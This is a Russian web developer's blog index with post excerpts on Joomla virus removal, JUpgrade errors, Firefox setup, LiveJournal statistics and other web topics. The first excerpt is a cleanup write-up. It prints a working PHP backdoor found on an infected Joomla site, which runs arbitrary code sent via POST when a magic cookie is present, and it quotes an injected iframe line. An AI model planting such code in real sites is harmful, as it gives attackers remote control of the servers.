Mar
8

Joomla удаление вирусов

Author admin    Category js, php     Tags , , ,

Писал на тему удаления вирусов из Джумлы и ранее, но вопросов задавали много, поэтому разберу еще один случай со все тем же "iframe write вирусом" другой модификации. В этот раз, тревогу забил клиент, "слишком долго стал грузиться сайт на Джумле". Ни Яндекс, ни Гугл на тот момент вирусов на сайте не находили, версия с вирусом еще не проиндексировалась. Уважаю! Открыв первый попавшийся на глаза js, в конце файла я увидел ;document.write('<iframe src="http://gemexmud…

Далее расчехляем scan.php запускаем и наблюдаем то же самое более 300 js файлов. Картина привычная, я не стал лезть в логи сервера и сразу начал искать eval() и base64 в php файлах. Новый  сюрприз. Файлов оказалось больше 50. eval() используют и некоторые стандартные модули Джумлы, но их немного. К тому же подозрительные файлы имели рэндомные названия из букв и цифр. Проверив несколько файлов я убедился, что они заражены. На это указывала инструкция

<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  eval($msg);
  echo '</textarea>bg';
  exit;
}}
?>

далее

Feb
18

JmodelLegacy – migration undefined

Author admin    Category php     Tags

Для обновления Джумлы со старых 1.5 до 2.5 используют плагин JUpgrade. Редкостной кривизны модуль. Вначале выяснилось, что он скачивает с офф. сайта последнюю версию Джумлы 2.5.9 а работать умеет только с 2.5.4. Ну ладно. Находим нужную ему версию. Скачиваем, распаковываем в /jupgrade, ставим нужные галочки, чтобы плагин брал уже распакованую Джумлу и не дергался. Хех.

Все тормозится на этапе migration undefined . Включаем debug и видим длиннейшую простыню ошибок.  В самом начале, что то вроде Fatal error: Class 'JModelLegacy' not found

Этой дурацкой ошибкой забиты все интернеты. На форуме разработчков JUpgrade ответа нет. Сплошное шаманство. Перепробовал все виды камланий, которые пришли в голову разработчикам и другим специалистам по Джумле, но победить проблему не удалось.

В результате пришлось идти своим путем. Раз уж это "JModelLegacy not found", то надо попробовать его воткнуть и помотреть, что получится. Находим файл legacy.php . Он находится в Joomle 2.5  в папке /libraries/cms/model/.

Копируем его в /jupgrade/installation/ . И правим 2 файла.
/jupgrade/installation/models/configuration.php
/jupgrade/installation/models/db.php

Добавляем require_once JPATH_INSTALLATION.'/legacy.php'; Где нибудь после jimport. Бинго! Инсталляция прошла на ура.

Jan
24

Firefox перенос настроек и оптимизация

Собрав новый комп начал настраивать рабочее окружение. Firefox у меня на старом компе обновляется еще с версии 2.хх. За это время ставились и удалялись аддоны, накатывались новые версии. Понятно, что несмотря на постоянную оптимизацию Firefox все тяжелел. Какой то мусор да остается. Поэтому я решил не пользоваться автоматическими средствами переноса настроек, поставить "голый" Огнелис и настроить с нуля.

Что обычно требуется сохранить:

  1. Настройки оптимизации Firefox
  2. Список ссылок в табах.
  3. Избранное, если есть. Я не пользуюсь. Его мне заменяют табы + Zotero
  4. Список аддонов
  5. Логины, пароли. Не пользуюсь. Заменяет Keepass.
  6. Поисковые плагины
  7. Настройки аддонов. Например база Zotero.

Как сохранить список ссылок в табах и список аддонов в Firefox?

Эти пункты решаются аддонами.
TabList 0.1.4 для сохранения табов,
Extension List Dumper 1.15.2 для сохранения списка аддонов.

Настройки оптимизации Firefox.

далее

Dec
16

yml скрипт для Яндекс Маркета

Author admin    Category php     Tags

Для выгрузки товаров в Яндекс Маркет из веб магазина в формате yml, есть наиподробнейший мануал. Тем не менее, частые заказы связаны с тем, что "программист взялся и yml написать осилил, но почему он не подходит Яндексу".

Мешает ограничение на 3 бесплатных проверки. Но елки палки, уж проверить то xml на валидность можно? Есть отличный онлайн сервис для проверки xml. Проверка в два этапа, сначала скармливаем yml, затем shops.dtd Это избавит от большей части ошибок. Перечислю самые частые.

далее

Dec
12

Джумла поиск вирусов

Author admin    Category js, php, обо всем     Tags ,

По горячим следам, одной работы решил написать статью. Обратился заказчик. У него сайт на joomla 1.5. Yandex и Google ругаются на наличие вредоносного ПО на сайте.  Джумла весьма рапространена в Рунете и не только, подобные заказы регулярно попадаются на freee-lance.ru, поэтому статья актуальна.
Далее опишу пошаговый перечень действий.

Как проверить на вирус онлайн?

Для начала выясним, был ли мальчик?  Общую сводку можно посмотреть на http://www.virustotal.com . Этот сервис собирает данные со всех основных антивирусных и выдает подборку результатов сканирования. В подборке более 20 онлайн сервисов. 

В моем случае известно,  что yandex и google обнаруживают "Сайт может угрожать безопасности вашего компьютера или мобильного устройства".

далее

Dec
2

Оптимизация сайтов под Retina

Сравнительно многие из новых устройств имеют Retina дисплеи. И это не только apple-device. Для владельцев сайтов, это новая головная боль. Причина? Количество физических пикселей на таких дисплеях больше чем виртуальных(пикселов в css). Проще всего это иллюстрирует картинка.

retina

Т.е. имеющуюся в 2×2 px картинку, броузер вынужден масштабировать в 4х4 px. Выглядит это неаккуратно.

картинка оптимизированная под Retina
Как вы можете догадаться, слева картинка оптимизирована под Ретина, справа нет.

далее

Nov
12

Настроить статистику в ЖЖ

Livejournal предоставляет довольно неудобную и куцую статистику. Поэтому возникает желание настроить в ЖЖ внешнюю статистику. Что нибудь вроде liveinternet или piwik. Для тех кто не знает, piwik  это  бесплатное , но мощное решение с возможностью установки на свой сервер.  Мешает существенное ограничение, запрет на javascript  в живом журнале. И найти как подключить графический счетчик непросто.

Проще всего с профилем жж. Ищем там ссылку о себе -> изменить. Туда легко воткнуть 1 пиксельную картинку от piwik.

<!-- Piwik Image Tracker --> 
<img src="http://demo.piwik.org/piwik.php?idsite={$IDSITE}" style="border:0" alt="" /> 
<!-- End Piwik -->

Где $IDSITE номер вашего сайта в админке piwik. Далее в меню профиль-найстройки находим ссылку оформление журнала.  Затем настроить свой стиль . Далее ищем в меню Отображение – Дополнительные настройки - Entry footer HTML .  И помещаем туда, тот же код, что и в профиль. На этом все. Liveinternet настраивается аналогично.

Ну а раз мы забрались в оформление темы журнала, то можно решить и еще один вопрос.

Как убрать рекламу из своего ЖЖ?

Все там же в меню слева ищем Custom CSS . Добавляем строку.

/* reclame del http://fstrange.ru/coder/ */ 
.b-ljtimes-wrapper {display: none;} 
#ad-leaderboard {display: none;} 
#ad-5linkunit {display: none;} 
.adv { display: none;}

Этим простеньким CSS мы скрываем всю рекламу в своем журнале.

Oct
23

О ЧПУ

Author admin    Category php, обо всем     Tags

Сведу имеющиеся знания в кучу.
Зачем он нужен? Прежде всего для SEO. Ну и к тому же ссылка легче для запоминания юзером.

Отсюда вытекают и требования.

  1. Максимальное вхождение ключевых слов
  2. Не более 80 символов(в некоторых источниках пишут 100, 150)

Остальные требования несущественны. Раньше поисковики недолюбливали кириллицу. Сейчас без разницы. Но стоит помнить, что кириллица кодируется в url несколькими символами, а это длиннее. Если же использовать латинские символы то можно и транслит и перевод. И Google и Yandex отлично понимают оба варианта.

Окончание ссылки .html, или .php? Опять таки поисковикам без разницы, лишь бы правило был указан MIME тип доккумента. Можно и без расширения .html , что на 5 символов короче.

Разделитель подчеркивание или дефис? И это несущественно.

Oct
10

IE array length undefined

Author admin    Category js     Tags ,

Столкнулся с занимательным багом в ИЕ.

Массив в Javascript – обычный объект. array.length – свойство. Как оказалось оно может быть undefined для обычного масссива.  Использовал аналог php функции array_unique отсюда. Функция отлично отрабатывала в 3 броузерах FF, Chrome, Opera и споткнулась на IE8. Массив обычный 4 элемента {'','app=search','cate_id=208','cate_id=208'}. После выполнения array_unique удалился 3 элемент, как положено.

Первое что меня удивило, array.join() вызвал ошибку. Я первоначально грешил на IE, потом на пустую строку в первом элементе. Потом обнаружил что не работают push и pop. Опытным путем выяснил что length стал undefined. Вот эта замечательная функция.

function array_unique (inputArr) {
  var __array_search = function (needle, haystack) {
    var fkey = '';
    for (fkey in haystack) {
      if (haystack.hasOwnProperty(fkey)) {
        if ((haystack[fkey] + '') === (needle + '')) {
          return fkey;
        }
      }
    }
    return false;
  };

  for (key in inputArr) {
    if (inputArr.hasOwnProperty(key)) {
      val = inputArr[key];
      if (false === __array_search(val, tmp_arr2)) {
        tmp_arr2[key] = val;
      }
    }
  }

  return tmp_arr2;
}
Oct
5

Обновление free-lance.ru

Author admin    Category обо всем     Tags

О последнем обновлении free-lance.ru не писал только ленивый. Желание заработать понятно и естественно. Но задевают некоторые вещи.

1. Убрали контакты. Понятно, когда это делается в проекте. Обеими руками за.
Но заставлять общаться с заказчиком\исполнителе исключительно через их убогую систему сообщений?
Такого маразма нет нигде.

2. Из слов администрации следует, что переписка будет под тотальным контролем. Дабы кто контакты не кинул. А как быть с оригинальными идеями, стартапами, какими то приватными данными? Надо ли оно заказчику?

3. Тотальная работа через СБР убивает мелкого заказчика.

4. Из портфолио, дизайнеров заставляют убирать копирайт содержащий ссылки или контакты.

Для себя решил, надо полностью переходить на зарубеджные биржи. Пока же http://www.free-lance.ru/users/fstrange/

Список сайтов для фриланса

далее

Pages

Recent Posts

Tags

Популярно

Recent Comments

Meta